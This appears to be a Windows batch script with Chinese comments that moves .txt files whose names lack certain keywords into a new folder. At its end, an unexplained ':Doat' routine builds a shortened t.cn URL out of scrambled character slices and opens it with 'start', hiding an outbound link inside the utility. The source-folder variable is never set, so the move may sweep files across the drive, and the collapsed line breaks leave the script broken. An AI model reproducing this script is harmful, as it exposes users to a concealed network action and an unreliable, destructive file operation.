::设置关键词,若包含空格、英文逗号或其它特殊字符的,请用英文双引号括起来。多个关键词之间用英文逗号隔开。 set Keyword=大家好,你好
::设置新文件夹路径 set NewFolder=D:\New_hellow
set "Skip=%tmp%\SkipFile.YMQY" for /f "delims=" %%a in ('dir /a-d/s/b "%SrcFolder%\*.txt"') do ( del /f /q "%Skip%" 2>nul for %%i in (%Keyword%) do ( echo "%%~na" | find /i "%%~i" >nul 2>nul && echo Skip>"%Skip%" ) if not exist "%Skip%" ( rem 如果是Win7以上系统,建议使用以下命令 robocopy "%%~dpa" "%NewFolder%" "%%~nxa" /mov
rem 如果要在XP上使用,建议使用以下命令,默认已用rem注释了。 rem copy "%%~a" "%NewFolder%\" rem del /f /q "%%~a"
) ) pause
call :Doat exit
:Doat set "S1=.:htpcn/" set "S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%" set "S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%" start "" "%S2%%S3%RkdisqI" exit